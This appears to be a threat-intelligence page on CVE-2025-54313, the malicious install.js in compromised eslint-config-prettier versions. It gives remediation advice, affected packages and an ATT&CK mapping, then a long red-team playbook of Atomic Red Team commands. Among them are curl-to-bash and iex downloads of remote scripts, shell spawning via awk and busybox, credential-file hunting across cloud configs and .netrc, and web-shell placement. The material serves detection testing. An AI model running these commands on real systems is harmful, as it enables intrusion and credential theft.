CVE-2025-54313

HIGH CISA KEV POC TTE 7d Pub 19/07 Upd 26/02

Overview

This vulnerability is a supply chain compromise involving malicious code embedded within specific versions of the eslint-config-prettier npm package. The root cause is the inclusion of a malicious install.js script that executes automatically during package installation. This script triggers execution of a node-gyp.dll malware payload on Windows environments, affecting the package's installation process and the integrity of the affected component.

Vulnerability Description

eslint-config-prettier 8.10.1, 9.1.1, 10.1.6, and 10.1.7 has embedded malicious code for a supply chain compromise. Installing an affected package executes an install.js file that launches the node-gyp.dll malware on Windows.

Impact

An attacker can achieve remote code execution on Windows systems by tricking users or automated systems into installing one of the compromised eslint-config-prettier package versions. No authentication or user interaction beyond package installation is required. This enables execution of arbitrary malicious code, potentially leading to system compromise, data theft, or further lateral movement within development environments. The attack undermines software supply chain trust, affecting developers and CI/CD pipelines relying on these npm packages.

Solution

Users should immediately upgrade eslint-config-prettier to versions later than 10.1.7, where the malicious code has been removed. Refer to the official GitHub issue #339 on the prettier/eslint-config-prettier repository for detailed remediation guidance. Additional information and advisories are available via the socket.dev blog and bleepingcomputer.com articles linked in the references. Avoid using affected versions 8.10.1, 9.1.1, 10.1.6, and 10.1.7 until patched versions are confirmed safe.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability associated with the eslint-config-prettier package and its variants represents a significant threat to the integrity of software supply chains. This issue arises from the inclusion of malicious code within the install.js file of the affected versions, which, when executed during the installation process, activates the node-gyp.dll malware on Windows systems. The malicious payload is designed to compromise the host environment, potentially leading to unauthorized access, data exfiltration, or further propagation of malicious activities. The nature of this vulnerability highlights the risks inherent in relying on third-party packages, especially in environments where security practices may not be rigorously enforced.

Attack vectors for this vulnerability are multifaceted. An attacker could exploit the compromised package by distributing it through popular package repositories, where developers frequently source dependencies for their projects. Once a developer installs an affected version of eslint-config-prettier or any of its related plugins, the malicious install.js file is executed automatically. This could occur in various scenarios, including continuous integration/continuous deployment (CI/CD) pipelines, where automated processes may not adequately scrutinize the integrity of the packages being installed. Additionally, if the malware is designed to establish a foothold on the system, it could facilitate further attacks, such as lateral movement within a network or the deployment of additional malicious payloads.

The real-world impact of this vulnerability is profound, particularly for organizations that rely on Node.js and its ecosystem for application development. The potential for data breaches, loss of intellectual property, and damage to brand reputation poses significant business risks. Organizations may face regulatory repercussions if sensitive data is compromised, leading to financial penalties and loss of customer trust. Furthermore, the operational disruption caused by a successful attack could result in substantial downtime and recovery costs. The interconnected nature of software dependencies means that the effects of such a compromise could ripple through multiple projects and teams, amplifying the overall risk to the organization.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a robust security posture that includes regular audits of third-party dependencies. Utilizing tools that can analyze package integrity and monitor for known vulnerabilities is essential. Additionally, employing a software composition analysis (SCA) tool can help identify and remediate compromised packages before they are deployed in production environments. Organizations should also consider adopting a policy of least privilege for development environments, ensuring that installations of packages are performed in isolated environments where potential damage can be contained. Regular training and awareness programs for developers regarding the risks of supply chain attacks can further enhance the organization's security posture.

In conclusion, the vulnerability within the eslint-config-prettier package underscores the critical need for vigilance in software supply chain management. As the landscape of software development continues to evolve, so too do the tactics employed by malicious actors. By understanding the technical details of such vulnerabilities, recognizing potential attack vectors, assessing real-world impacts, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the growing threat of supply chain compromises. The proactive approach to security will not only safeguard organizational assets but also foster a culture of security awareness among developers and stakeholders alike.




CSURFACE threat intelligence has identified a marked increase in the exploitability of CVE-2025-54313, as reflected by the 19.5% rise in the Exploit Prediction Scoring System (EPSS) score, now positioned in the 94th percentile. This shift corresponds with the emergence of new proof-of-concept tools designed to detect and leverage the malicious code embedded in affected versions of eslint-config-prettier. Our telemetry indicates that these tools have broadened the attack surface by simplifying identification of compromised packages and the associated node-gyp.dll malware on Windows platforms. Although the short-term trend shows a slight decrease in exploitation attempts, the overall elevated EPSS score and recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog underscore a sustained and credible threat. This evolution matters significantly for defenders because it signals increased attacker capability and accessibility, heightening the risk of supply chain compromise through widely used open-source components. Consequently, the threat level for organizations relying on prettier eslint-config-prettier has escalated from moderate to high, necessitating heightened vigilance in monitoring software dependencies and supply chain integrity.

Affected Products (12)

Vendor Product Version CPE
prettier Prettier Eslint-Config-Prettier 8.10.1 cpe:2.3:a:prettier:eslint-config-prettier:8.10.1:*:*:*:*:node.js:*:*
prettier Prettier Eslint-Config-Prettier 9.1.1 cpe:2.3:a:prettier:eslint-config-prettier:9.1.1:*:*:*:*:node.js:*:*
prettier Prettier Eslint-Config-Prettier 10.1.6 cpe:2.3:a:prettier:eslint-config-prettier:10.1.6:*:*:*:*:node.js:*:*
prettier Prettier Eslint-Config-Prettier 10.1.7 cpe:2.3:a:prettier:eslint-config-prettier:10.1.7:*:*:*:*:node.js:*:*
prettier Prettier Eslint-Plugin-Prettier 4.2.2 cpe:2.3:a:prettier:eslint-plugin-prettier:4.2.2:*:*:*:*:node.js:*:*
prettier Prettier Eslint-Plugin-Prettier 4.2.3 cpe:2.3:a:prettier:eslint-plugin-prettier:4.2.3:*:*:*:*:node.js:*:*
un-ts Un-Ts Synckit 0.11.9 cpe:2.3:a:un-ts:synckit:0.11.9:*:*:*:*:node.js:*:*
un-ts Un-Ts Pkgr\/core 0.2.8 cpe:2.3:a:un-ts:pkgr\/core:0.2.8:*:*:*:*:node.js:*:*
alexghr Alexghr Got-Fetch 5.1.1 cpe:2.3:a:alexghr:got-fetch:5.1.1:*:*:*:*:node.js:*:*
alexghr Alexghr Got-Fetch 5.1.2 cpe:2.3:a:alexghr:got-fetch:5.1.2:*:*:*:*:node.js:*:*
un-ts Un-Ts Napi-Postinstall 0.3.1 cpe:2.3:a:un-ts:napi-postinstall:0.3.1:*:*:*:*:node.js:*:*
homarr Homarr Homarr All cpe:2.3:a:homarr:homarr:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (3)

Repository Author Stars Forks Date Link
Paspke/scavenger_scanner
Detect CVE-2025-54313 eslint-config-prettier supply chain attack IOCs on Windows
Paspke 0 0 2025-07-26 View
ShinP451/scavenger_scanner
Detect CVE-2025-54313 eslint-config-prettier supply chain attack IOCs on Windows
ShinP451 0 0 2025-07-26 View
nihilor/cve-2025-54313
Checks projects for compromised packages, suspicious files, and import statements.
nihilor 0 0 2025-07-26 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

4 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-01-22
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2025-07-26
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
90% rce
File Upload Vulnerabilities
61% file_upload
Code Injection
54% code_injection
OS Command Injection
51% command_injection

MITRE ATT&CK Techniques (7)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1195.001 Compromise Software Dependencies and Development Tools Initial Access initial-access Linux, macOS, Windows
T1195.002 Compromise Software Supply Chain Initial Access initial-access Linux, Windows, macOS
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-442 Infected Software
41%
Medium High
CAPEC-636 Hiding Malicious Data or Code within Files
38%
High
CAPEC-448 Embed Virus into DLL
35%
Medium High

Red Team Playbook

45 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1195.002 Simulate npm package installation on a Linux system containers, Linux Bash
Launches a short‑lived Kubernetes pod using the Node 18 image, initializes a minimal npm project in /tmp/test, and installs the specified npm package without audit/fund/package‑lock options, simulating potentially suspicious package retrieval (e.g., typosquatting/dependency...
Command (Bash)
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (11)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-54313
socket.dev
GitHub CVE
https://socket.dev/blog/npm-phishing-campaign-leads-to-prettier-tooling-packages-compromise
bleepingcomputer.com
GitHub CVE
https://www.bleepingcomputer.com/news/security/popular-npm-linter-packages-hijacked-via-phishing-to-drop-malware/
github.com
GitHub CVE
https://github.com/prettier/eslint-config-prettier/issues/339
npmjs.com
GitHub CVE
https://www.npmjs.com/package/eslint-config-prettier?activeTab=versions
stepsecurity.io
GitHub CVE
https://www.stepsecurity.io/blog/supply-chain-security-alert-eslint-config-prettier-package-shows-signs-of-compromise
news.ycombinator.com
GitHub CVE
https://news.ycombinator.com/item?id=44609732
news.ycombinator.com
GitHub CVE
https://news.ycombinator.com/item?id=44608811
github.com
NVD API Third Party Advisory
https://github.com/community-scripts/ProxmoxVE/discussions/6115
endorlabs.com
NVD API Third Party Advisory
https://www.endorlabs.com/learn/cve-2025-54313-eslint-config-prettier-compromise----high-severity-but-windows-only
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-54313